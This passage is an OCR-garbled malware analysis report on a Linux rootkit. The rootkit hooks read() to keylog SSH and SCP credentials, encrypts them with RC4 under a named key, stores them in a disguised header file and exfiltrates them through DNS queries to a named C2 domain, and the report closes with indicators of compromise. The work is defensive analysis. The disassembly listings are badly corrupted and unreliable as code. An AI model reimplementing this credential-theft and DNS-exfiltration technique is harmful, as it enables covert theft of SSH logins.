.text:0000000000001FC6 init_method proc near
Ltext:000000000081FC6 ; _ unwind {
text:B00B88B88B81FCE push rbp
Ltext:6e0000600868081FCT mov rbp, rsp
text: 6000000000081FCA lea rax, aRead @ ; "read
Lext:esea880028081F01 mov rsi, rax ; hame
text:epaae20008881FD4 mov rdi, BFFFFFFFFFFFFFFFFh ; handle
.text:eaeee00008008081FDE call _dlsym
.text:0000000000001FE® mov cs:orig_read, rax
Text: 060800808008 1FE7 mov eax, @
text:eeeea000800081FEC call check_ssh_scp
text: 000000008008 1FFL test eax, eax
.text:0000000000001FF3 jz short loc_2865
Y Y
Jtext:eespeaaaee@alFFS mov rax, cs:orig_read| |.text:oeee800800002605
.text : G0EEEB00B081FFC mov cs:hoock_read, rax| |.text:0000000000002005 loc_2085:
Ltext:PReER00080082083 jmp short locret_2813) |.text:oeeoaeeaeea020885 lea rax, keylogger
Ltext : 606600000088208C mov cs:hook_read, rax
Y
Ll e =]
text:egeoopRaaRRE2013
Ltext:0a8000008000082013 locret 20813:
.text :0000000000002013 leave
LLext:eappaERREEE2014 retn
text:BpeaBeeGReER2014 ; } // starts at 1FCE
text :0060000000002014 init_method endp
LtLext:eaebapeaene02014

Figure 40

In the keylogger function, the process calls the original read function with a file descriptor
corresponding to SSH or SCP. It also performs a call to the isatty method in order to ensure
that the file descriptor is referring to a terminal:

29/39



il i =

text:
text:
text:
dext:
dext:
dext:
text:
text:
text:
text:
dext:
text:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:

gpaoaaooapealEFS
GeeaaaeaaeealEFS

gpeooopaeEealBErFa

gpeaeaeeaRRalBEFo
gpaaeaeeaRE1EFS
apaaaaaaapalBEF9
aappaapaaaaelBFa
apaaapaaapalEF9
gpaoaaooapealBEFS
GeeaaaeaaeeElEFS
gpecaaeeaEa1lBEF9
gpeGeaeeaREalBEFo
gpaaaaeeaRRa1lEF9
apaaaaaaapalBEF9
aappaapaaaeelBFa
gpaaapaoaaealBEF9
gpaoaaooapealBEFS
GeeaaaeaaeealEFS
gpeGaaeeaalBEF9
gpeoooeReRRalErFA
gpaoeaepeeEa1EFD
apaaaaaeaaalBFE
aapoaapaaapelCaz
apaaapaoapalCas
gpaoaaooapaalCas
geeaaoeaaealCel
gpeoaoaeaealCla
gpeaeaeeapealCls
gpaaeaeeaaalC1C
apaaaaaaapalClF
aappaapaaapelC22
gpaoaoapaaEelC24
gpaoapooapealC2e
GeeaaoeaapealC2A
gpeoaoaaaaealC2Dh
gpeaaaaeaRRalC2F
gpaoaoepeREElC34
apaaaaaaapRalC36

keylogger proc near

var_68= gqword ptr -68h
var_68= gword ptr -68h
fd= dword ptr -54h
var_48= gqword ptr -438h
var_48= gqword ptr -48h
var_38= gqword ptr -38h
s= gword ptr -3Bh
size= gword ptr -28h

var_28= gword ptr -28h
var_18= gword ptr -18h

;3 __ unwind {

push rbp

Mo rbp, rsp

push rbx

sub rsp, 68h

mov [rbp+fd], edi

mowv [rbptvar_s8], rsi
Mo [rbptvar_68], rdx
Mo rax, cs:orig read
Mo rdx, [rbptvar_BE]
Mo rbx, [rbptvar_s@]
mowv ecx, [rbp+fd]

mow rsi, rbx

mow edi, ecx

call rax ; orig_read
Mo [rbp+var_48], rax
Mo eax, [rbp+fd]

mow edi, eax

call _isatty

test eax, eax

jnz short loc_1C41

Attributes: bp-based frame

fd

The executable calls a function named log_cmd_line and then getaddrlist. The first function

will be detailed in the following paragraphs:

Figure 41
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il e =

Ltext: bopgooapaeaalcon
text: 2000008688001C98 loc 1C96:
tewt: BREEE62268881C98 mov eax, cs:index 5674
Ltext: 000RR88000001C96 movsxd rdx, eax
text:Ba600806080801C99 lea rax, pw_5673
text:a880000888001CA0 mov byte ptr [rdx+rax], @
text:aaeeeRaa88001CA4 call log cmd_line
text:pREEEEEE88881CA9 mov [rbp+s], rax
text: 2002008000801 CAD mov eax, cs:index 5674
text:0800000000001CE3 add eax, @Ah
text: BB02068008881CE6 cdge
Ltewt:2BE2062000881CEE mov [rbptsize], rax
text: 60008008080 1CEC cmp [rbp+s], @
text:oaae0080888001CC1 jz short loc_1CD3
L 4
Lol s =]
Ltext:ea88000088001CC3 mov rax, [rbp+s]
text : 08a0800008801CCT mov rdi, rax ; S
text:eeoee00000801CCA call _strlen
text:ee00000000801CCF add [rbptsize], rax
i ‘3
il e =
text:bopeoaaoaaaelCD3
ctext:2060000280001C03 loc_1CD3:
Ltext:Be600088080001C03 call getaddrlist
ctext:aae008880001C08 mov [rbp+var_28], rax
Ltext:aaee002880801C0C cmp [rbptvar_28], @
text:Ba88008880001CEL jnz short loc_1CEA

Figure 42

The malware constructs a string with the following structure “<getaddrlist result>|
<log_cmd_line result>|pw_5673". It calls the saveline function with the

“/usr/include/linux/usb/usb.h” parameter:

il sl =

[Figure

text:BeE00008600081019 lea rdx, as555 3 "Hs|¥s|¥s\n"
text:60008200801028 mov rsi, [rbptvar_28@]
ctext:BE220600200801024 mov rcx, [rbpts]
ctext:0e008000001028 mov rbx, [rbpt+size]
text:aae008808800102C mov rax, [rbp+var_18]
LSdext:epeeaaaaea881038 mov re, rsi
text:aaee0020880001033 lea rd, pw_5673
Jtext: eeeese00008001034 mov rsi, rbx ; maxlen
text : 6608600800001030 mov rdi, rax FREL
ctext: 888066680688681048 mov eax, B
.text:eao0000006801045 call _snprintf
ctext:peae00806080010448 mov rax, [rbpt+var_138]
LJext:epeapaa80888104E mov rsi, rax
Jtext:eepppaaaeee81051 lea rdi, aUsrIncludeLinu ; “"/fusr/include/linux/usb/usbh.h"
.text: 666868888888801D058 call saveline
Jtext:ea00000200801050 mov rax, [rbptvar_18]
text : 6600600800001D61 mov rdi, rax
Ltext : 66668888800801D64 call erasefrees

43
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The log_cmd_line method is called only for the SSH or SCP process. The command line of
one of these processes is read from “/proc/self/cmdline”:

Ltext@paaaeaa02801E99
.text :00E0BEOBBABA1E0 ; Attributes: bp-based frame
text:epeaopaaaaa1E29
Ltext:e00000080001E99 log cmd line proc near
Ltext:eppoopaa22E81E09
text:ee0e0000000801E99 var_448= byte ptr -448h
.text: p00000B00BB01E9T9 ptr= qword ptr -48h
.text : 0000B00B00B01E09 var_38= qword ptr -38h
text:@000B00R80RE1EY9 var_38= dword ptr -3@h
. text :0000B60B80BB1E99 fd= dword ptr -2Ch
.text: 0000000000001E99 var_28= qword ptr -28h
text:0000000000001E99 var_28= qword ptr -28h
. text : 0B00B00B0OBA1EYY var_13= qword ptr -18h
text:epebopeaa2E81E09
Jtext:eeeea0ea0e881E99 ;  unwind {
.text : 90E0000B80BB1E99 push rbp
.text :0000000000081E9A mov rbp, rsp
Ltext:@eee080880881E9D push rbx
Jtext : Geeee88888881E9E sub rsp, 438h
.text :BREEREER0BBA1EAS mov [rbptptr], @
. text:BEEB8ER88RA1EAD mov [rbp+var_38], @
.text:0000000600801EE5 mov [rbp+var_38], @
text:60600008080081EEC mov esi, @ ; oflag
text: 0000RREB08A1EC]L lea rdi, file ; “Sproc/self/cmdline™
text: 6668868008888 1ECE mov eax, @
Ltext:GE00080800881ECD call _open
.text:aee8808880881ED02 mov [rbp+fd], eax
. text : 000B60800BB01EDS cmp [rbp+fd], ®FFFFFFFFh
text:@eee08000800081E09 jnz short loc_1EE5
‘ Yy
[l =4
Jext:@8e8000080801EES
.text: 00000008000 LEES loc_1EES:
text :2A0EA0EROBRALEES mov rax, cs:orig_read
Ltext:0a800000800081EEC lea rbx, [rbpt+var_448]
.text: p00B0BB0BBE1EF3 mov ecx, [rbp+fd]
Jtext : 6000000000081EFE mov edx, 486h
Jtext : 600B000080001EFE mov rsi, rbx
.text : 000000080001EFE mov edi, ecx
text:pA0EA0EREEB01FEE call rax ; orig_read
.text:000RE0B80BB01FE2 mov [rbp+var_28], rax
.text : pO0BA0BB0BBE1FEE cmp [rbp+var_28], @
text:p00EE0EAEEBELFEE jle loc_1F98
Figure 44
The realloc method is utilized to deallocate the old object and to return a pointer to a new
object:
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il e 5

Jtext: eapppaaaeee1F11
Jtext: eopeooaaeapelrls
text: eapaoaoaaaelF19
text: sepeaaaa26201F 1D
Jtext: bapeBapaeaRRlF21
Jtext: eapaBaaaeaRR1F25
Jtext: eapebapaeapelr2a
Jtext: eappbapaaapelr 26
Jtext: eeppoaaaeea01F 30

ma
add
maw
lea
M
maw
man
call
Mo

rax, [rbpt+var_28]
[rbptvar_38], rax
rax, [rbptvar_38]
rdx, [rax+l]

rax, [rbptptr]

rsi, rdx ; size
rdi, rax : ptr
_realloc

[rbpt+var_28], rax

Jtext:ee0e000000001F 34 cmp [rbptvar_26], @
text:ea00008008801F30 jz short loc_1FA9B
Y i Figure
I
Ltext:00082068068801F38 mov rax, [rbptvar_28]f |.text:B0068080660081F38
Ltext:0E002008008801F3F mov [rbptptr], rax .text: 0000000008001 F98 loc_1F9B:
Ltext:B00800008800LF43 mov [rbptvar_18], @ Ltext:B06088000688801LF3E nop
Ltext:008000088801F4E jmp short loc_1F89
Jtext: eappbapaaapelrFa9 Jtext: eapppanaeaaelFaC
text:Baee008880001FE9 loc_1F39: text:paee0080880001F9C loc 1F9C:
text:ea00000200801F39 mov rax, [rbptvar_18]f |.text:00000000806801F3C cmp [rbe
text:ea000080080601F30 cmp rax, [rbptvar_ 28]} |.text:0060000000001FA0 jz shor
text:eaoea680808081F31 j1 short loc_ 1F4D P—

45

The credentials extracted from the SSH or SCP process are encrypted using the RC4
algorithm (key = “suporte42atendimento53log”). The encrypted content will be used to
construct DNS requests in the sendlinedns function:
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P

text:
text:
text:
text:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:
text:
tText:
text:
text:
dext:
dext:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:
text:
tText:
text:
text:
text:
text:
dext:
dext:
text:

gpeoaaooaRRaTIF
GeeaaEaRE2TTF

gpeoooRReRRe2TIE

gpeGopEeaRRE2TIF
gpaoaaRoaRRE2TTF
apeaapaaaRRa2TIF
aappaapaaape2iTE
apaoapaoaRRa2TIF
gpeoapooaRRa2TIF
GReoaEaaRe2TTF
gpeGapoaaRRE2 7 F
gpeGopoaaRRE2TIF
gpaoeaaoaRRE2TTF
apeaaaaaaRRa2TTF
aappaapaaaae2iTE
gpaoapaaRRE2TER
gpeoapRoeRRR2TES
GEeoaoEaaeE2 754
gReoapEEaREE2788
gReGaaaeaRRE27EC
gpaoaaeaRRE2ToR
apeaaaapaRRE2To4
aappaapaaape27av
apaaapaaaRRa2TaC
gpaoaaRaRRa2ToF
GReaaoaaRE2TAZ
GReEaREEaRRE27 A0
gpeGoREEaRRE27A0
gpaoaaaeREE2TER
apaaaaaeaRRa27ES
aappaapaaaae27Ba
apaaapaeaRa2TEC
gpeoaapoeRRe2 TEE
GEeaaeaaeE27CL
gReoaREeaREe27C0
gpeGepEeaRRE27Co
gpaoaaaeRRE2TCD
apaaaaapaaRe2ThE
aappaapaaape27DT

Attributes: bp-based frame

saveline proc near
s= gword ptr -3Bh

file= gword ptr -28h
var_28= dword ptr -28h

fd= dword ptr -1Ch

var_18= dword ptr -18h
var_14= dword ptr -14h

; __unwind {

push rbp

mov rbp, rsp

push rbx

sub rsp, 28h

Mo [rbptfile], rdi

Mo [rbp+s], rsi

mowv rax, [rbp+s]

mow rdi, rax H
call _strlen

mowv [rbpt+var_28], eax
Mo edx, [rbptvar_2@]
Mo rax, [rbp+s]

mow rsi, rax

lea rdi, aSuported2atend ;
call _RCa

mov edx, [rbp+var_28]
mov rax, [rbp+s]

mow esi, edx

mow rdi, rax

call sendlinedns

Mo edx, [rbptvar_28]
Mo rax, [rbpts]

mow rsi, rax

lea rdi, aSuportedatend ;
call _RCa

"suported2atendimento

"suported42atendimento

531log

3log

Figure 46

The malicious process creates a file called “/usr/include/linux/usb/usb.h” by calling
create_file:
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Ltext:000000000080270C mov rax, [rbp+file]
.text : AERERERERERE2TES mov rdi, rax
Ltext:00000000008027E3 call create_file
Ltext:pe0082080B8027EE mov rax, [rbp+file]
LtLext:ecacpeaeeea027EC mov edx, 1B&h
.text: 0000000008827 F1 mov esi, 481h ; oflag
.text : AeRERERERERE2TFE mov rdi, rax ; file
text:oa0a0a00808027F9 mov eax, @
.text:pe008088088027FE call _open
Ltext:0000000000802803 mov [rbp+fd], eax
Ltext:oeaepeoeae82586 cmp [rbp+fd], BFFFFFFFFh
Ltext:0000000000800280A jz loc_28B3
- Y

FIE

Ltext:poeEE20800002818 mov eax, [rbp+fd]

Ltext : AAREREEEEERE2813 mov esi, 1B&h ; mode

Ltext:8608000000002818 mov edi, eax -

Ltext:poepeeREEREE281A call _fchmod

Ltext:000080000000281F mov [rbptvar_14], @

Ltext:pEEEE2EE000B2826 mov [rbp+var_18], @

Ltext:0000000000882820 jmp short loc_286F

Figure 47

The encrypted credentials are written to the file created above:

il st

Ltext: eappaaapeaRa287F
Ltext: eappaaapoapa2852
Ltext: bepgoaaeaaRa2887
Ltext: 0eppeea00008288E
Ltext: boppooapaaRR2899
Ltext: bapiaaaeEaEE2895
Ltext:bopRBaaaEaRE2898
Ltext: bopRBaaREERE2898
Ltext: eappaaaaeaRE289F
Ltext:eappaaapeaRa284A2
Ltext: eappaaa000ee2845
Ltext: eapgaaaeeaRa28A7
Ltext: boppaaapoepa23AC
Ltext: bapiaaaooaEE2BAF
Ltext:bopRBaaeEaRE28E1
Ctext: bepRBaaREERR28E0

mow eax, [rbp+fd]

Mo edx, 4 5 om

lea rsi, unk_32BD ; buf
Mo edi, eax ; fd
call _write

Mo eax, [rbptvar 18]
movsxd rdx, eax om ]
mov rex, [rbp+s] Figure 48
mow eax, [rbp+fd]

moW rsi, rcx ; buf
Mo edi, eax : fd
call _write

Mo eax, [rbp+fd]

Mo edi, eax ; Td
call _close

jmp short loc_28B9

In the sendlinedns function, the malware obtains information about the current kernel using
the uname method. Based on the resulting buffer, the process computes a machine ID which
consists of 4 bytes generated using crc32b (stored in id_6274):
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text:ea6000000000204C sendlinedns proc near
Jtext:eeappaaaeoan2DaC
text:Ba80008008000204C var_328= gword ptr -328h
text:ee0000000000204C var 38C= dword ptr -3@ch
text:e00000000080204C var 388= qword ptr -388h
text:B6806808808082D4C name= utsname ptr -388h
ctext:Be68080080002D4C var_178= byte ptr -178h
ctext:oa0000000000204C s= byte ptr -138h
text:0a6000000000204C var_28= dword ptr -28h
.text:8e00006800000204C var 24= dword ptr -24h
text:BaE800888000204C var_28= dword ptr -28h
text:ea0000000000204C var 1C= dword ptr -1Ch
text:e60000000006204C var 18= dword ptr -18h
text:B060000000802D4C var_1l= byte ptr -11h
LJtext: bapebapaeane204C
Ltext:oa00000080000204C ;  unwind {
ctext:Baa800888800204C push rbp
Jtext:eeteooapaaae2l4d mov rbp, rsp
Ltext:paaeeRE88002058 push rbx
text:eaoee08000002051 sub rsp, 318h
ctext:2000000200802058 mov [rbptvar_368], rdi
text:0620608800802D5F mov [rbpt+var_38C], esi .
.text:0000000200002D65 mov [rbptvar 28], 2867h | Figure 49
ctext:paae00806800206C mov eax, cs:id 6274
Jdext:eeaaaaaaa082D72 test eax, eax
Ltext:eaaeeepaa808082074 jnz short loc_2D9F
i Y
il i 5
text:peeeepaaEERB8207E lea rax, [rbp+name]
text : 0e08000000002070 mov rdi, rax 3 name
Ltext:eeo80000000020808 call _uname
Ltext:2E02200808002085 lea rax, [rbptname]
Ltext : 020888000808208C mov esi, 186h
Ltext : 0208808008882091 mov rdi, rax
.text:e008000000802094 call _crc32b
Ltext:e088000088002099 mov cs:id 6274, eax
| '3
Ll e 5

Jtext:ooopbapaoaaa2DIF
text:e00000000080209F loc 2D9F:

.text:000800000000209F call

getserver

The encrypted credentials are hex-encoded and splitted to be exfiltrated via DNS requests to
a domain owned by the threat actor. The A DNS request has the following format:

<Packet number — starts from 0x2B67 = 11111>.<Machine ID — Crc32b hash>.<Hex-
encoded data>.px32.nss.atendimento-estilo[.Jcom

Finally, the executable calls the dns function that will exfiltrate data:
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«text:eeee08000080200C
text:eeeeeseeeeee20DC
. text:Beeeetee00e8200C
. text: 0eeeaee00080 2007
. text:20000000000020E1
. text:0008080000002DEE
.text:0e08080000882DEE
text:eeeeee00008820EE
text:eeeeeReeeeeR2Dr1
. text:B0eeaeee008a20F 5
. text: 00000020000020F 8
.text:0008002000082DFE
.text:0008000000802DFE
.text:0000000000082E05
text:eeea0Re000002E89
«text: 0800000000002E0C
. text:eeeaneee0eea2EL3
.text:2000000000002E17
.text:0008002000002E1A
.text:0008000000082E1E
.text:0000000000082E21
+text:B00e000000002E24
text:eeoenRReeeaRR2E2E
. text: Ge0aRe0000002E2F
.text:0000000000002E32
Jtext:0000002000082E39
»text: 0060000000002E3D

loc_200C:

mov eax, [rbp+var_28]

cdge

add rax, [rbptvar_308]
movix eax, byte ptr [rax]
mov [rbp+var_11], al

mov ecx, [rbp+var_1iC]
movix eax, [rbp+var_11]

shr al, 4

movzx  eax, al

movsxd rdx, eax

lea rax, aBl123456789abcd_8 ; "8123
movzx edx, byte ptr [rdwtrax]
movsxd rax, ecx

mov [rbptrax+var_170], dl
add [rbpt+var_1C], 1

mov ecx, [rbp+var_1C]
movzx eax, [rbp+var_11]

and eax, 8Fh

movsxd rdx, eax

lea rax, a@l2345678%bcd @ ; "0123456789sbcdef”
movix edx, byte ptr [rdwtrax]
movsxd rax, ecx

mov [rbp+rax+var_178], dl
add [rbp+var_1C], 1

add [rbp+var_28], 1

Figure 50

[

=

«text: PRGGOODBLBBB2E4T
text: G00000000082E4C
Jtext: PeR0000oe0Ra2E4E
. text: PeR0000R0R0a2E5E
. text:000000000002E5C lea
.text:BROOOOBOREBO2EE3 lea
.text:0000000000002E6A mov
. text:2000000020002EED lea
.text:0000000000002E74 lea
. text: P00000000082ETE mov
. text:BOG0000BR0OG2ETF mov
.text:0R00000000002EE2 mov
.text:B00080BBOG0O2EES mov
.text:0000800000002EBA mov
«text: 200000000082EED mov
. text:2000000000002E92 call
. text:0000000000002E97 lea
. text:020000000082E9E mov
. text:P200ROBBOOREB2EAL call
.text:PEEEEOBORBBE2EAE add
. text:2000000BBROO2EAA add

mov
cdge

mov

eax, [rbpsvar_iC]

[rbp+rax+var_178], @
esi, cs:id_6274
rdx, aDUss :
rdi, [rbp+var_178]
ecx, [rbpsvar_28]
rax, [rbp+s]

rbx, aPx32NssAtendim ;
[rsp+320hivar_320], rbx
rd, rdi

rBd, esi

esi, 188h

rdi, rax

eax, @
_snprintf

rax, [rbpts]
rdi, rax

dns
[rbp+var_28], 1
[rbp+var_24], 1Fh

"%d. %

; maxle
i s

. RS XS

“px32.nss.atendimento-estilo. com™

n

The implementation of the RC4 algorithm can be identified below:
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:BepaoaaREEER266E

text:0000000000002668 loc_266B:
text:BEERE2080B882668 cmp [rbp+var_18], @FFh
text:00000000008802672 jle loc_2SE@
IFE=
Lext: beoooaapeen2o78 mov [rbp+var_le], @ Jtext:eopopopeaaee25E0
Ltext:000000080B8B267F mov [rbp+var_C], @ .text:p60080008B8025E0 loc_25EG:
Jtext:8000000000002686 mov [rbp+var_4], @ .text:00000000008025E0 mov eax, [rbp+var_1@]
Ltext:B2BE220808882630 jmp loc_27eE .text:pE2EEEREBBBR25E3 cdge
text:000000000008025E5 movzx  eax, [rbptraxtvar_128]
text:eaaaa080888825E0 movIx eax, al
text: 0e0a0000008825F0 mov eCx, eax
Ltext:DE2EERRE8B8025F2 add ecx, [rbp+var_C]
.text:00000000008025F5 mov eax, [rbp+var_18]
Ltext: 60a00RRRERBE25FE mov edx, eax
Jtext: 00R0R000000025FA sar edx, 1Fh
.text:p0008000088025FD idiv [rbp+var_8]
JTtext: 6e0aR08080008 2000 mov eax, edx
Ltext:peEEEEREEEER2602 cdge
Ltext:poo0000000802604 add rax, [rbp+s]
.text:002080000080260E movzx  eax, byte ptr [rax]
text: 60800808008 200E movx eax, al
.text:pe2E802088802611 lea edx, [roxtrax]
Jtext:oe0a000000082614 mov eax, edx
text:eaaaaea288082616 sar eax, 1Fh
et : 60000000000602619 shr eax, 18h
.text:AeReRERERBRE261C add edx, eax
Jtext: feReRe0000800261E and edx, B@FFh
text:eaaaBeaa88082624 mov ecx, edx
Ltext: 0eReR000008002626 sub eCx, £ax
text:eaRaReaa88082628 mov eax, ecx
Ltext:000000000080262A mov [rbp+var_C], eax
.text:B00080008888262D0 mov eax, [rbp+var_16]
text:0000000000002638 cdge
.text:p020800000802632 movzx  eax, [rbptraxtvar_128]
Ltext:000000000080263A mov [rbp+var_11], al
.text:B00088008888263D0 mov ecx, [rbptvar_16]
Ltext:0000000000802640 mov eax, [rbptvar_C]
Ltext:peEEEEREEEE82643 cdge
text:0000000000802645 movzx  edx, [rbptraxtvar_128]

Figure 51
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Jtext:pepepaRRERRE2T0E
text:eea00000000808276E loc_276E:
Jext:pepepepeeee8276E mov
Jtext:pepeRERREERE2771 cmp

eax, [rbp+var_4]
eax, [rbp+var_134]

. text:P6BAB00B00002777 1 loc_2692

. * 3 *
Ll e =] Ll s =]
text:eoapoapeaRea2092 Ltext:e00e000000002770 leave
.text: 6000000000082692 loc_2602: Ltext:eBepeaRe2080277E retn
JText:oee0000800002692 mov eax, [rbptvar_18] Jtext:oBREEREBEERE2YIE ; } // starts at 2577
.text:0000000000002695 lea edx, [rax+1] .text:000000000008277E RC4 endp
JText:eoeoee0e00002698 mov eax, edx JLexteebbaapeREER2TTE
LTdext00BEREREEEB82694 sar eax, 1Fh
text:eee0000008882690 shr eax, 18h
text: 00000000000026A8 add edx, eax
Ltext:eeee008000826A2 and edx, @FFh
Ltext:esae0000080826A8 mov ecx, edx
text: pe0000088880826A4 sub BCxX, eax
LText:eapea8888800826AC mov eax, ecx
Jtext:00REREE8BB026AE mov [rbptvar_18], eax
Jtext:B0RER006880026B1 mov eax, [rbptvar_1@]
Ltext:B0RE828800082664 cdge
Ltext:000000000000826B6 movix  eax, [rbptrax+var_128]
TLext:esea0000880826BE movzx eax, al
.text:B80000000000026C1 add eax, [rbptvar_C]
Ltext:esee0000880026C4 mov edx, eax
Ltext:oe000000000026C6 sar edx, 1Fh
.text:00000000000026C9 shr edx, 18h
text:00000000000026CC add eax, edx
Ltext:eeee0008080000826CE and eax, @FFh
text:ooo0000000002603 sub eax, edx
.text:00000000000826D5 mov [rbp+var_C], eax
.text:0000000000082608 mov eax, [rbptvar_18]
.text:00000000000826DE cdge
Jtext:000000000880026D0 movzy  eax, [rbpiraxtvar_128)
Jtext:00R00REEEBB026ES mov [rbptvar_11], al
Ltext:B0088008000826E8 mov ecx, [rbpt+var_18]
Ltext: 00EB0000000826EE mov eax, [rbp+var_C]
Ltext:00000000000826EE cdge
.text:00000000000026F8 movzx  edx, [rbptraxtvar_128)
Jtext:p00000000800026F8 movsxd rax, ecx
Figure 52

INDICATORS OF COMPROMISE

C2 domain: px32.nss.atendimento-estilo[.Jcom

SHA256: 121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662¢c924

Files created: /usr/include/linux/usb/usb.h
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